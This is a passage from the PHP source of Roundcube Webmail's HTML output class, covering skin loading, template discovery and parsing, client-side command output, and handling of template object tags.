        $skins_allowed = $this->config->get('skins_allowed');

        if (!empty($skins_allowed) && !in_array($skin, (array) $skins_allowed)) {
            return false;
        }

        $path = RCUBE_INSTALL_PATH . 'skins/';

        return !empty($skin) && is_dir($path . $skin) && is_readable($path . $skin);
    }

    /**
     * Helper method to recursively read skin meta files and register search paths
     */
    private function load_skin($skin_path)
    {
        $this->skin_paths[] = $skin_path;

        // read meta file and check for dependencies
        $meta = @file_get_contents(RCUBE_INSTALL_PATH . $skin_path . '/meta.json');
        $meta = @json_decode($meta, true);

        $meta['path']  = $skin_path;
        $path_elements = explode('/', $skin_path);
        $skin_id       = end($path_elements);

        if (empty($meta['name'])) {
            $meta['name'] = $skin_id;
        }

        $this->skins[$skin_id] = $meta;

        // Keep skin config for ajax requests (#6613)
        $_SESSION['skin_config'] = [];

        if (!empty($meta['extends'])) {
            $path = RCUBE_INSTALL_PATH . 'skins/';
            if (is_dir($path . $meta['extends']) && is_readable($path . $meta['extends'])) {
                $_SESSION['skin_config'] = $this->load_skin('skins/' . $meta['extends']);
            }
        }

        if (!empty($meta['config'])) {
            foreach ($meta['config'] as $key => $value) {
                $this->config->set($key, $value, true);
                $_SESSION['skin_config'][$key] = $value;
            }

            $value = array_merge((array) $this->config->get('dont_override'), array_keys($meta['config']));
            $this->config->set('dont_override', $value, true);
        }

        if (!empty($meta['localization'])) {
            $locdir = $meta['localization'] === true ? 'localization' : $meta['localization'];
            if ($texts = $this->app->read_localization(RCUBE_INSTALL_PATH . $skin_path . '/' . $locdir)) {
                $this->app->load_language($_SESSION['language'], $texts);
            }
        }

        // Use array_merge() here to allow for global default and extended skins
        if (!empty($meta['meta'])) {
            $this->meta_tags = array_merge($this->meta_tags, (array) $meta['meta']);
        }
        if (!empty($meta['links'])) {
            $this->link_tags = array_merge($this->link_tags, (array) $meta['links']);
        }

        $this->set_env('dark_mode_support', (bool) $this->config->get('dark_mode_support'));

        return $_SESSION['skin_config'];
    }

    /**
     * Check if a specific template exists
     *
     * @param string $name Template name
     *
     * @return bool True if template exists, False otherwise
     */
    public function template_exists($name)
    {
        foreach ($this->skin_paths as $skin_path) {
            $filename = RCUBE_INSTALL_PATH . $skin_path . '/templates/' . $name . '.html';
            if (
                (is_file($filename) && is_readable($filename))
                || (!empty($this->deprecated_templates[$name]) && $this->template_exists($this->deprecated_templates[$name]))
            ) {
                return true;
            }
        }

        return false;
    }

    /**
     * Find the given file in the current skin path stack
     *
     * @param string $file       File name/path to resolve (starting with /)
     * @param string &$skin_path Reference to the base path of the matching skin
     * @param string $add_path   Additional path to search in
     * @param bool   $minified   Fallback to a minified version of the file
     *
     * @return string|false Relative path to the requested file or False if not found
     */
    public function get_skin_file($file, &$skin_path = null, $add_path = null, $minified = false)
    {
        $skin_paths = $this->skin_paths;

        if ($add_path) {
            array_unshift($skin_paths, $add_path);
            $skin_paths = array_unique($skin_paths);
        }

        if ($file[0] != '/') {
            $file = '/' . $file;
        }

        if ($skin_path = $this->find_file_path($file, $skin_paths)) {
            return $skin_path . $file;
        }

        if ($minified && preg_match('/(?<!\.min)\.(js|css)$/', $file)) {
            $file = preg_replace('/\.(js|css)$/', '.min.\\1', $file);

            if ($skin_path = $this->find_file_path($file, $skin_paths)) {
                return $skin_path . $file;
            }
        }

        return false;
    }

    /**
     * Find path of the asset file
     */
    protected function find_file_path($file, $skin_paths)
    {
        foreach ($skin_paths as $skin_path) {
            if ($this->assets_dir != RCUBE_INSTALL_PATH) {
                if (realpath($this->assets_dir . $skin_path . $file)) {
                    return $skin_path;
                }
            }

            if (realpath(RCUBE_INSTALL_PATH . $skin_path . $file)) {
                return $skin_path;
            }
        }
    }

    /**
     * Register a GUI object to the client script
     *
     * @param string $obj Object name
     * @param string $id  Object ID
     */
    public function add_gui_object($obj, $id)
    {
        $this->add_script(self::JS_OBJECT_NAME.".gui_object('$obj', '$id');");
    }

    /**
     * Call a client method
     *
     * @param string $cmd    Method to call
     * @param mixed ...$args Method arguments
     */
    public function command($cmd, ...$args)
    {
        if (strpos($cmd, 'plugin.') !== false) {
            $this->js_commands[] = ['triggerEvent', $cmd, $args[0]];
        }
        else {
            array_unshift($args, $cmd);

            $this->js_commands[] = $args;
        }
    }

    /**
     * Add a localized label to the client environment
     *
     * @param mixed ...$args Labels (an array of strings, or many string arguments)
     */
    public function add_label(...$args)
    {
        if (count($args) == 1 && is_array($args[0])) {
            $args = $args[0];
        }

        foreach ($args as $name) {
            $this->js_labels[$name] = $this->app->gettext($name);
        }
    }

    /**
     * Invoke display_message command
     *
     * @param string  $message  Message to display
     * @param string  $type     Message type [notice|confirm|error]
     * @param array   $vars     Key-value pairs to be replaced in localized text
     * @param bool    $override Override last set message
     * @param int     $timeout  Message display time in seconds
     *
     * @uses self::command()
     */
    public function show_message($message, $type = 'notice', $vars = null, $override = true, $timeout = 0)
    {
        if ($override || !$this->message) {
            if ($this->app->text_exists($message)) {
                if (!empty($vars)) {
                    $vars = array_map(['rcube','Q'], $vars);
                }

                $msgtext = $this->app->gettext(['name' => $message, 'vars' => $vars]);
            }
            else {
                $msgtext = $message;
            }

            $this->message = $message;
            $this->command('display_message', $msgtext, $type, $timeout * 1000);
        }
    }

    /**
     * Delete all stored env variables and commands
     *
     * @param bool $all Reset all env variables (including internal)
     */
    public function reset($all = false)
    {
        $framed = $this->framed;
        $task   = $this->env['task'] ?? '';
        $env    = $all ? null : array_intersect_key($this->env, ['extwin' => 1, 'framed' => 1]);

        // keep jQuery-UI files
        $css_files = $script_files = [];

        foreach ($this->css_files as $file) {
            if (strpos($file, 'plugins/jqueryui') === 0) {
                $css_files[] = $file;
            }
        }

        foreach ($this->script_files as $position => $files) {
            foreach ($files as $file) {
                if (strpos($file, 'plugins/jqueryui') === 0) {
                    $script_files[$position][] = $file;
                }
            }
        }

        parent::reset();

        // let some env variables survive
        $this->env          = $this->js_env = $env;
        $this->framed       = $framed || !empty($this->env['framed']);
        $this->js_labels    = [];
        $this->js_commands  = [];
        $this->scripts      = [];
        $this->header       = '';
        $this->footer       = '';
        $this->body         = '';
        $this->css_files    = [];
        $this->script_files = [];

        // load defaults
        if (!$all) {
            $this->__construct();
        }

        // Note: we merge jQuery-UI scripts after jQuery...
        $this->css_files    = array_merge($this->css_files, $css_files);
        $this->script_files = array_merge_recursive($this->script_files, $script_files);

        $this->set_env('orig_task', $task);
    }

    /**
     * Redirect to a certain url
     *
     * @param mixed $p      Either a string with the action or url parameters as key-value pairs
     * @param int   $delay  Delay in seconds
     * @param bool  $secure Redirect to secure location (see rcmail::url())
     */
    public function redirect($p = [], $delay = 1, $secure = false)
    {
        if (!empty($this->env['extwin']) && !(is_string($p) && preg_match('#^https?://#', $p))) {
            if (!is_array($p)) {
                $p = ['_action' => $p];
            }

            $p['_extwin'] = 1;
        }

        $location = $this->app->url($p, false, false, $secure);
        $this->header('Location: ' . $location);
        exit;
    }

    /**
     * Send the request output to the client.
     * This will either parse a skin template.
     *
     * @param string $templ Template name
     * @param bool   $exit  True if script should terminate (default)
     */
    public function send($templ = null, $exit = true)
    {
        if ($templ != 'iframe') {
            // prevent from endless loops
            if ($exit != 'recur' && $this->app->plugins->is_processing('render_page')) {
                rcube::raise_error([
                        'code'    => 505,
                        'file'    => __FILE__,
                        'line'    => __LINE__,
                        'message' => 'Recursion alert: ignoring output->send()'
                    ], true, false
                );

                return;
            }

            $this->parse($templ, false);
        }
        else {
            $this->framed = true;
            $this->write();
        }

        // set output asap
        ob_flush();
        flush();

        if ($exit) {
            exit;
        }
    }

    /**
     * Process template and write to stdOut
     *
     * @param string $template HTML template content
     */
    public function write($template = '')
    {
        if (!empty($this->script_files)) {
            $this->set_env('request_token', $this->app->get_request_token());
        }

        // Fix assets path on blankpage
        if (!empty($this->js_env['blankpage'])) {
            $this->js_env['blankpage'] = $this->asset_url($this->js_env['blankpage'], true);
        }

        $commands = $this->get_js_commands($framed);

        // if all js commands go to parent window we can ignore all
        // script files and skip rcube_webmail initialization (#1489792)
        // but not on error pages where skins may need jQuery, etc.
        if ($framed && empty($this->js_env['server_error'])) {
            $this->scripts      = [];
            $this->script_files = [];
            $this->header       = '';
            $this->footer       = '';
        }

        // write all javascript commands
        if (!empty($commands)) {
            $this->add_script($commands, 'head_top');
        }

        $this->page_headers();

        // call super method
        $this->_write($template);
    }

    /**
     * Send common page headers
     * For now it only (re)sets X-Frame-Options when needed
     */
    public function page_headers()
    {
        if (headers_sent()) {
            return;
        }

        // allow (legal) iframe content to be loaded
        $framed = $this->framed || !empty($this->env['framed']);
        if ($framed && ($xopt = $this->app->config->get('x_frame_options', 'sameorigin'))) {
            if (strtolower($xopt) === 'deny') {
                $this->header('X-Frame-Options: sameorigin', true);
            }
        }
    }

    /**
     * Parse a specific skin template and deliver to stdout (or return)
     *
     * @param string $name  Template name
     * @param bool   $exit  Exit script
     * @param bool   $write Don't write to stdout, return parsed content instead
     *
     * @link http://php.net/manual/en/function.exit.php
     */
    function parse($name = 'main', $exit = true, $write = true)
    {
        $plugin   = false;
        $realname = $name;
        $skin_dir = '';
        $plugin_skin_paths = [];

        $this->template_name = $realname;

        $temp = explode('.', $name, 2);
        if (count($temp) > 1) {
            $plugin   = $temp[0];
            $name     = $temp[1];
            $skin_dir = $plugin . '/skins/' . $this->config->get('skin');

            // apply skin search escalation list to plugin directory
            foreach ($this->skin_paths as $skin_path) {
                // skin folder in plugin dir
                $plugin_skin_paths[] = $this->app->plugins->url . $plugin . '/' . $skin_path;
                // plugin folder in skin dir
                $plugin_skin_paths[] = $skin_path . '/plugins/' . $plugin;
            }

            // prepend plugin skin paths to search list
            $this->skin_paths = array_merge($plugin_skin_paths, $this->skin_paths);
        }

        // find skin template
        $path = false;
        foreach ($this->skin_paths as $skin_path) {
            // when requesting a plugin template ignore global skin path(s)
            if ($plugin && strpos($skin_path, $this->app->plugins->url) === false) {
                continue;
            }

            $path = RCUBE_INSTALL_PATH . "$skin_path/templates/$name.html";

            // fallback to deprecated template names
            if (!is_readable($path) && !empty($this->deprecated_templates[$realname])) {
                $dname = $this->deprecated_templates[$realname];
                $path  = RCUBE_INSTALL_PATH . "$skin_path/templates/$dname.html";

                if (is_readable($path)) {
                    rcube::raise_error([
                            'code' => 502, 'file' => __FILE__, 'line' => __LINE__,
                            'message' => "Using deprecated template '$dname' in $skin_path/templates. Please rename to '$realname'"
                        ], true, false
                    );
                }
            }

            if (is_readable($path)) {
                $this->config->set('skin_path', $skin_path);
                // set base_path to core skin directory (not plugin's skin)
                $this->base_path = preg_replace('!plugins/\w+/!', '', $skin_path);
                $skin_dir        = preg_replace('!^plugins/!', '', $skin_path);
                break;
            }
            else {
                $path = false;
            }
        }

        // read template file
        if (!$path || ($templ = @file_get_contents($path)) === false) {
            rcube::raise_error([
                    'code' => 404,
                    'line' => __LINE__,
                    'file' => __FILE__,
                    'message' => 'Error loading template for '.$realname
                ], true, $write);

            $this->skin_paths = array_slice($this->skin_paths, count($plugin_skin_paths));
            return false;
        }

        // replace all path references to plugins/... with the configured plugins dir
        // and /this/ to the current plugin skin directory
        if ($plugin) {
            $templ = preg_replace(
                ['/\bplugins\//', '/(["\']?)\/this\//'],
                [$this->app->plugins->url, '\\1' . $this->app->plugins->url . $skin_dir . '/'],
                $templ
            );
        }

        // parse for special tags
        $output = $this->parse_conditions($templ);
        $output = $this->parse_xml($output);

        // trigger generic hook where plugins can put additional content to the page
        $hook = $this->app->plugins->exec_hook("render_page", [
                'template' => $realname,
                'content'  => $output,
                'write'    => $write
        ]);

        // save some memory
        $output = $hook['content'];
        unset($hook['content']);

        // remove plugin skin paths from current context
        $this->skin_paths = array_slice($this->skin_paths, count($plugin_skin_paths));

        if (!$write) {
            return $this->postrender($output);
        }

        $this->write(trim($output));

        if ($exit) {
            exit;
        }
    }

    /**
     * Return executable javascript code for all registered commands
     */
    protected function get_js_commands(&$framed = null)
    {
        $out             = '';
        $parent_commands = 0;
        $parent_prefix   = '';
        $top_commands    = [];

        // these should be always on top,
        // e.g. hide_message() below depends on env.framed
        if (!$this->framed && !empty($this->js_env)) {
            $top_commands[] = ['set_env', $this->js_env];
        }
        if (!empty($this->js_labels)) {
            $top_commands[] = ['add_label', $this->js_labels];
        }

        // unlock interface after iframe load
        $unlock = isset($_REQUEST['_unlock']) ? preg_replace('/[^a-z0-9]/i', '', $_REQUEST['_unlock']) : 0;
        if ($this->framed) {
            $top_commands[] = ['iframe_loaded', $unlock];
        }
        else if ($unlock) {
            $top_commands[] = ['hide_message', $unlock];
        }

        $commands = array_merge($top_commands, $this->js_commands);

        foreach ($commands as $i => $args) {
            $method = array_shift($args);
            $parent = $this->framed || preg_match('/^parent\./', $method);

            foreach ($args as $i => $arg) {
                $args[$i] = self::json_serialize($arg, $this->devel_mode);
            }

            if ($parent) {
                $parent_commands++;
                $method        = preg_replace('/^parent\./', '', $method);
                $parent_prefix = 'if (window.parent && parent.' . self::JS_OBJECT_NAME . ') parent.';
                $method        = $parent_prefix . self::JS_OBJECT_NAME . '.' . $method;
            }
            else {
                $method = self::JS_OBJECT_NAME . '.' . $method;
            }

            $out .= sprintf("%s(%s);\n", $method, implode(',', $args));
        }

        $framed = $parent_prefix && $parent_commands == count($commands);

        // make the output more compact if all commands go to parent window
        if ($framed) {
            $out = "if (window.parent && parent." . self::JS_OBJECT_NAME . ") {\n"
                . str_replace($parent_prefix, "\tparent.", $out)
                . "}\n";
        }

        return $out;
    }

    /**
     * Make URLs starting with a slash point to skin directory
     *
     * @param string $str         Input string
     * @param bool   $search_path True if URL should be resolved using the current skin path stack
     *
     * @return string URL
     */
    public function abs_url($str, $search_path = false)
    {
        if (isset($str[0]) && $str[0] == '/') {
            if ($search_path && ($file_url = $this->get_skin_file($str))) {
                return $file_url;
            }

            return $this->base_path . $str;
        }

        return $str;
    }

    /**
     * Show error page and terminate script execution
     *
     * @param int    $code    Error code
     * @param string $message Error message
     */
    public function raise_error($code, $message)
    {
        $args = [
            'code'    => $code,
            'message' => $message,
        ];

        $page = new rcmail_action_utils_error;
        $page->run($args);
    }

    /**
     * Modify path by adding URL prefix if configured
     *
     * @param string $path    Asset path
     * @param bool   $abs_url Pass to self::abs_url() first
     *
     * @return string Asset path
     */
    public function asset_url($path, $abs_url = false)
    {
        // iframe content can't be in a different domain
        // @TODO: check if assets are on a different domain

        if ($abs_url) {
            $path = $this->abs_url($path, true);
        }

        if (!$this->assets_path || in_array($path[0], ['?', '/', '.']) || strpos($path, '://')) {
            return $path;
        }

        return $this->assets_path . $path;
    }


    /*****  Template parsing methods  *****/

    /**
     * Replace all strings ($varname)
     * with the content of the according global variable.
     */
    protected function parse_with_globals($input)
    {
        $GLOBALS['__version']   = html::quote(RCMAIL_VERSION);
        $GLOBALS['__comm_path'] = html::quote($this->app->comm_path);
        $GLOBALS['__skin_path'] = html::quote($this->base_path);

        return preg_replace_callback('/\$(__[a-z0-9_\-]+)/', [$this, 'globals_callback'], $input);
    }

    /**
     * Callback function for preg_replace_callback() in parse_with_globals()
     */
    protected function globals_callback($matches)
    {
        return $GLOBALS[$matches[1]];
    }

    /**
     * Correct absolute paths in images and other tags (add cache busters)
     */
    protected function fix_paths($output)
    {
        $regexp = '!(src|href|background|data-src-[a-z]+)=(["\']?)([a-z0-9/_.-]+)(["\'\s>])!i';

        return preg_replace_callback($regexp, [$this, 'file_callback'], $output);
    }

    /**
     * Callback function for preg_replace_callback in fix_paths()
     *
     * @return string Parsed string
     */
    protected function file_callback($matches)
    {
        $file = $matches[3];
        $file = preg_replace('!^/this/!', '/', $file);

        // correct absolute paths
        if ($file[0] == '/') {
            $this->get_skin_file($file, $skin_path, $this->base_path);
            $file = ($skin_path ?: $this->base_path) . $file;
        }

        // add file modification timestamp
        if (preg_match('/\.(js|css|less|ico|png|svg|jpeg)$/', $file)) {
            $file = $this->file_mod($file);
        }

        return $matches[1] . '=' . $matches[2] . $file . $matches[4];
    }

    /**
     * Correct paths of asset files according to assets_path
     */
    protected function fix_assets_paths($output)
    {
        $regexp = '!(src|href|background)=(["\']?)([a-z0-9/_.?=-]+)(["\'\s>])!i';

        return preg_replace_callback($regexp, [$this, 'assets_callback'], $output);
    }

    /**
     * Callback function for preg_replace_callback in fix_assets_paths()
     *
     * @return string Parsed string
     */
    protected function assets_callback($matches)
    {
        $file = $this->asset_url($matches[3]);

        return $matches[1] . '=' . $matches[2] . $file . $matches[4];
    }

    /**
     * Modify file by adding mtime indicator
     */
    protected function file_mod($file)
    {
        $fs  = false;
        $ext = substr($file, strrpos($file, '.') + 1);

        // use minified file if exists (not in development mode)
        if (!$this->devel_mode && !preg_match('/\.min\.' . $ext . '$/', $file)) {
            $minified_file = substr($file, 0, strlen($ext) * -1) . 'min.' . $ext;
            if ($fs = @filemtime($this->assets_dir . $minified_file)) {
                return $minified_file . '?s=' . $fs;
            }
        }

        if ($fs = @filemtime($this->assets_dir . $file)) {
            $file .= '?s=' . $fs;
        }

        return $file;
    }

    /**
     * Public wrapper to dip into template parsing.
     *
     * @param string $input Template content
     *
     * @return string
     * @uses   rcmail_output_html::parse_xml()
     * @since  0.1-rc1
     */
    public function just_parse($input)
    {
        $input = $this->parse_conditions($input);
        $input = $this->parse_xml($input);
        $input = $this->postrender($input);

        return $input;
    }

    /**
     * Parse for conditional tags
     */
    protected function parse_conditions($input)
    {
        $regexp1 = '/<roundcube:if\s+([^>]+)>/is';
        $regexp2 = '/<roundcube:(if|elseif|else|endif)\s*([^>]*)>/is';

        $pos = 0;

        // Find IF tags and process them
        while ($pos < strlen($input) && preg_match($regexp1, $input, $conditions, PREG_OFFSET_CAPTURE, $pos)) {
            $pos = $start = $conditions[0][1];

            // Process the 'condition' attribute
            $attrib  = html::parse_attrib_string($conditions[1][0]);
            $condmet = isset($attrib['condition']) && $this->check_condition($attrib['condition']);

            // Define start/end position of the content to pass into the output
            $content_start = $condmet ? $pos + strlen($conditions[0][0]) : null;
            $content_end   = null;

            $level = 0;
            $endif = null;
            $n = $pos + 1;

            // Process the code until the closing tag (for the processed IF tag)
            while (preg_match($regexp2, $input, $matches, PREG_OFFSET_CAPTURE, $n)) {
                $tag_start = $matches[0][1];
                $tag_end   = $tag_start + strlen($matches[0][0]);
                $tag_name  = strtolower($matches[1][0]);

                switch ($tag_name) {
                case 'if':
                    $level++;
                    break;

                case 'endif':
                    if (!$level--) {
                        $endif = $tag_end;
                        if ($content_end === null) {
                            $content_end = $tag_start;
                        }
                        break 2;
                    }
                    break;

                case 'elseif':
                    if (!$level) {
                        if ($condmet) {
                            if ($content_end === null) {
                                $content_end = $tag_start;
                            }
                        }
                        else {
                            // Process the 'condition' attribute
                            $attrib  = html::parse_attrib_string($matches[2][0]);
                            $condmet = isset($attrib['condition']) && $this->check_condition($attrib['condition']);

                            if ($condmet) {
                                $content_start = $tag_end;
                            }
                        }
                    }
                    break;

                case 'else':
                    if (!$level) {
                        if ($condmet) {
                            if ($content_end === null) {
                                $content_end = $tag_start;
                            }
                        }
                        else {
                            $content_start = $tag_end;
                        }
                    }
                    break;
                }

                $n = $tag_end;
            }

            // No ending tag found
            if ($endif === null) {
                $pos = strlen($input);
                if ($content_end === null) {
                    $content_end = $pos;
                }
            }

            if ($content_start === null) {
                $content = '';
            }
            else {
                $content = substr($input, $content_start, $content_end - $content_start);
            }

            // Replace the whole IF statement with the output content
            $input = substr_replace($input, $content, $start, max($endif, $content_end, $pos) - $start);
            $pos   = $start;
        }

        return $input;
    }

    /**
     * Determines if a given condition is met
     *
     * @param string $condition Condition statement
     *
     * @return bool True if condition is met, False if not
     * @todo Extend this to allow real conditions, not just "set"
     */
    protected function check_condition($condition)
    {
        return $this->eval_expression($condition);
    }

    /**
     * Inserts hidden field with CSRF-prevention-token into POST forms
     */
    protected function alter_form_tag($matches)
    {
        $out    = $matches[0];
        $attrib = html::parse_attrib_string($matches[1]);

        if (!empty($attrib['method']) && strtolower($attrib['method']) == 'post') {
            $hidden = new html_hiddenfield(['name' => '_token', 'value' => $this->app->get_request_token()]);
            $out .= "\n" . $hidden->show();
        }

        return $out;
    }

    /**
     * Parse & evaluate a given expression and return its result.
     *
     * @param string $expression Expression statement
     *
     * @return mixed Expression result
     */
    protected function eval_expression($expression)
    {
        $expression = preg_replace(
            [
                '/session:([a-z0-9_]+)/i',
                '/config:([a-z0-9_]+)(:([a-z0-9_]+))?/i',
                '/env:([a-z0-9_]+)/i',
                '/request:([a-z0-9_]+)/i',
                '/cookie:([a-z0-9_]+)/i',
                '/browser:([a-z0-9_]+)/i',
                '/template:name/i',
            ],
            [
                "(\$_SESSION['\\1'] ?? null)",
                "\$this->app->config->get('\\1',rcube_utils::get_boolean('\\3'))",
                "(\$this->env['\\1'] ?? null)",
                "rcube_utils::get_input_value('\\1', rcube_utils::INPUT_GPC)",
                "(\$_COOKIE['\\1'] ?? null)",
                "(\$this->browser->{'\\1'} ?? null)",
                "'{$this->template_name}'",
            ],
            $expression
        );

        // Note: We used create_function() before but it's deprecated in PHP 7.2
        //       and really it was just a wrapper on eval().
        return eval("return ($expression);");
    }

    /**
     * Parse variable strings
     *
     * @param string $type Variable type (env, config etc)
     * @param string $name Variable name
     *
     * @return mixed Variable value
     */
    protected function parse_variable($type, $name)
    {
        $value = '';

        switch ($type) {
            case 'env':
                $value = $this->env[$name] ?? null;
                break;
            case 'config':
                $value = $this->config->get($name);
                if (is_array($value) && !empty($value[$_SESSION['storage_host']])) {
                    $value = $value[$_SESSION['storage_host']];
                }
                break;
            case 'request':
                $value = rcube_utils::get_input_value($name, rcube_utils::INPUT_GPC);
                break;
            case 'session':
                $value = $_SESSION[$name] ?? '';
                break;
            case 'cookie':
                $value = htmlspecialchars($_COOKIE[$name], ENT_COMPAT | ENT_HTML401, RCUBE_CHARSET);
                break;
            case 'browser':
                $value = $this->browser->{$name} ?? '';
                break;
        }

        return $value;
    }

    /**
     * Search for special tags in input and replace them
     * with the appropriate content
     *
     * @param string $input Input string to parse
     *
     * @return string Altered input string
     * @todo   Use DOM-parser to traverse template HTML
     * @todo   Maybe a cache.
     */
    protected function parse_xml($input)
    {
        $regexp = '/<roundcube:([-_a-z]+)\s+((?:[^>]|\\\\>)+)(?<!\\\\)>/Ui';

        return preg_replace_callback($regexp, [$this, 'xml_command'], $input);
    }

    /**
     * Callback function for parsing an xml command tag
     * and turn it into real html content
     *
     * @param array $matches Matches array of preg_replace_callback
     *
     * @return string Tag/Object content
     */
    protected function xml_command($matches)
    {
        $command = strtolower($matches[1]);
        $attrib  = html::parse_attrib_string($matches[2]);

        // empty output if required condition is not met
        if (!empty($attrib['condition']) && !$this->check_condition($attrib['condition'])) {
            return '';
        }

        // localize title and summary attributes
        if ($command != 'button' && !empty($attrib['title']) && $this->app->text_exists($attrib['title'])) {
            $attrib['title'] = $this->app->gettext($attrib['title']);
        }
        if ($command != 'button' && !empty($attrib['summary']) && $this->app->text_exists($attrib['summary'])) {
            $attrib['summary'] = $this->app->gettext($attrib['summary']);
        }

        // execute command
        switch ($command) {
            // return a button
            case 'button':
                if (!empty($attrib['name']) || !empty($attrib['command'])) {
                    return $this->button($attrib);
                }
                break;

            // frame
            case 'frame':
                return $this->frame($attrib);
                break;

            // show a label
            case 'label':
                if (!empty($attrib['expression'])) {
                    $attrib['name'] = $this->eval_expression($attrib['expression']);
                }

                if (!empty($attrib['name']) || !empty($attrib['command'])) {
                    $vars = $attrib + ['product' => $this->config->get('product_name')];
                    unset($vars['name'], $vars['command']);

                    $label   = $this->app->gettext($attrib + ['vars' => $vars]);
                    $quoting = null;

                    if (!empty($attrib['quoting'])) {
                        $quoting = strtolower($attrib['quoting']);
                    }
                    else if (isset($attrib['html'])) {
                        $quoting = rcube_utils::get_boolean((string) $attrib['html']) ? 'no' : '';
                    }

                    // 'noshow' can be used in skins to define new labels
                    if (!empty($attrib['noshow'])) {
                        return '';
                    }

                    switch ($quoting) {
                        case 'no':
                        case 'raw':
                            break;
                        case 'javascript':
                        case 'js':
                            $label = rcube::JQ($label);
                            break;
                        default:
                            $label = html::quote($label);
                            break;
                    }

                    return $label;
                }
                break;

            case 'add_label':
                $this->add_label($attrib['name']);
                break;

            // include a file
            case 'include':
                if (!empty($attrib['condition']) && !$this->check_condition($attrib['condition'])) {
                    break;
                }

                if ($attrib['file'][0] != '/') {
                    $attrib['file'] = '/templates/' . $attrib['file'];
                }

                $old_base_path   = $this->base_path;
                $include         = '';
                $attr_skin_path = !empty($attrib['skinpath']) ? $attrib['skinpath'] : null;

                if (!empty($attrib['skin_path'])) {
                    $attr_skin_path = $attrib['skin_path'];
                }

                if ($path = $this->get_skin_file($attrib['file'], $skin_path, $attr_skin_path)) {
                    // set base_path to core skin directory (not plugin's skin)
                    $this->base_path = preg_replace('!plugins/\w+/!', '', $skin_path);
                    $path = realpath(RCUBE_INSTALL_PATH . $path);
                }

                if (is_readable($path)) {
                    $allow_php = $this->config->get('skin_include_php');
                    $include   = $allow_php ? $this->include_php($path) : file_get_contents($path);
                    $include   = $this->parse_conditions($include);
                    $include   = $this->parse_xml($include);
                    $include   = $this->fix_paths($include);
                }

                $this->base_path = $old_base_path;

                return $include;

            case 'plugin.include':
                $hook = $this->app->plugins->exec_hook("template_plugin_include", $attrib + ['content' => '']);
                return $hook['content'];

            // define a container block
            case 'container':
                if (!empty($attrib['name']) && !empty($attrib['id'])) {
                    $this->command('gui_container', $attrib['name'], $attrib['id']);
                    // let plugins insert some content here
                    $hook = $this->app->plugins->exec_hook("template_container", $attrib + ['content' => '']);
                    return $hook['content'];
                }
                break;

            // return code for a specific application object
            case 'object':
                $object  = strtolower($attrib['name']);
                $content = '';
                $handler = null;

                // correct deprecated object names
                if (!empty($this->deprecated_template_objects[$object])) {
                    $object = $this->deprecated_template_objects[$object];
                }

                if (!empty($this->object_handlers[$object])) {
                    $handler = $this->object_handlers[$object];
                }

                // execute object handler function
                if (is_callable($handler)) {
                    $this->prepare_object_attribs($attrib);

                    // We assume that objects with src attribute are internal (in most
                    // cases this is a watermark frame). We need this to make sure assets_path
                    // is added to the internal assets paths
                    $external = empty($attrib['src']);
                    $content  = call_user_func($handler, $attrib);
                }
                else if ($object == 'doctype') {
                    $content = html::doctype($attrib['value']);
                }
                else if ($object == 'logo') {
                    $attrib += ['alt' => $this->xml_command(['', 'object', 'name="productname"'])];

                    // 'type' attribute added in 1.4 was renamed 'logo-type' in 1.5
                    // check both for backwards compatibility
                    $logo_type  = !empty($attrib['logo-type']) ? $attrib['logo-type'] : null;
                    $logo_match = !empty($attrib['logo-match']) ? $attrib['logo-match'] : null;
                    if (!empty($attrib['type']) && empty($logo_type)) {
                        $logo_type = $attrib['type'];
                    }

                    if (($template_logo = $this->get_template_logo($logo_type, $logo_match)) !== null) {
                        $attrib['src'] = $template_logo;
                    }

                    if (($link = $this->get_template_logo('link')) !== null) {
                        $attrib['onclick'] = "location.href='$link';";
                        $attrib['style'] = 'cursor:pointer;';
                    }

                    $additional_logos = [];
                    $logo_types       = (array) $this->config->get('additional_logo_types');

                    foreach ($logo_types as $type) {
                        if (($template_logo = $this->get_template_logo($type)) !== null) {
                            $additional_logos[$type] = $this->abs_url($template_logo);
                        }
                        else if (!empty($attrib['data-src-' . $type])) {
                            $additional_logos[$type] = $this->abs_url($attrib['data-src-' . $type]);
                        }
                    }

                    if (!empty($additional_logos)) {
                        $this->set_env('additional_logos', $additional_logos);
                    }

                    if (!empty($attrib['src'])) {
                        $content = html::img($attrib);
                    }
                }
                else if ($object == 'productname') {
                    $name    = $this->config->get('product_name', 'Roundcube Webmail');
                    $content = html::quote($name);
                }
                else if ($object == 'version') {
                    $ver = (string) RCMAIL_VERSION;
                    if (is_file(RCUBE_INSTALL_PATH . '.svn/entries')) {
                        if (preg_match('/Revision:\s(\d+)/', (string) @shell_exec('svn info'), $regs))
                          $ver .= ' [SVN r'.$regs[1].']';
                    }
                    else if (is_file(RCUBE_INSTALL_PATH . '.git/index')) {
                        if (preg_match('/Date:\s+([^\n]+)/', (string) @shell_exec('git log -1'), $regs)) {
                            if ($date = date('Ymd.Hi', strtotime($regs[1]))) {
                                $ver .= ' [GIT '.$date.']';
                            }
                        }
                    }
                    $content = html::quote($ver);
                }
                else if ($object == 'steptitle') {
                    $content = html::quote($this->get_pagetitle(false));
                }
                else if ($object == 'pagetitle') {
                    // Deprecated, <title> will be added automatically
                    $content = html::quote($this->get_pagetitle());
                }
                else if ($object == 'contentframe') {
                    if (empty($attrib['id'])) {
                        $attrib['id'] = 'rcm' . $this->env['task'] . 'frame';
                    }

                    // parse variables
                    if (preg_match('/^(config|env):([a-z0-9_]+)$/i', $attrib['src'], $matches)) {
                        $attrib['src'] = $this->parse_variable($matches[1], $matches[2]);
                    }

                    $content = $this->frame($attrib, true);
                }
                else if ($object == 'meta' || $object == 'links') {
                    if ($object == 'meta') {
                        $source = 'meta_tags';
                        $tag    = 'meta';
                        $key    = 'name';
                        $param  = 'content';
                    }
                    else {
                        $source = 'link_tags';
                        $tag    = 'link';
                        $key    = 'rel';
                        $param  = 'href';
                    }

                    foreach ($this->$source as $name => $vars) {
                        // $vars can be in many forms:
                        // - string
                        // - ['key' => 'val']
                        // - [string, string]
                        // - [[], string]
                        // - [['key' => 'val'], ['key' => 'val']]
                        // normalise this for processing by checking for string array keys
                        $vars = is_array($vars) ? (count(array_filter(array_keys($vars), 'is_string')) > 0 ? [$vars] : $vars) : [$vars];

                        foreach ($vars as $args) {
                            // skip unset headers e.g. when extending a skin and removing a header defined in the parent
                            if ($args === false) {
                                continue;
                            }

                            $args = is_array($args) ? $args : [$param => $args];

                            // special handling for favicon
                            if ($object == 'links' && $name == 'shortcut icon' && empty($args[$param])) {
                                if ($href = $this->get_template_logo('favicon')) {
                                    $args[$param] = $href;
                                }
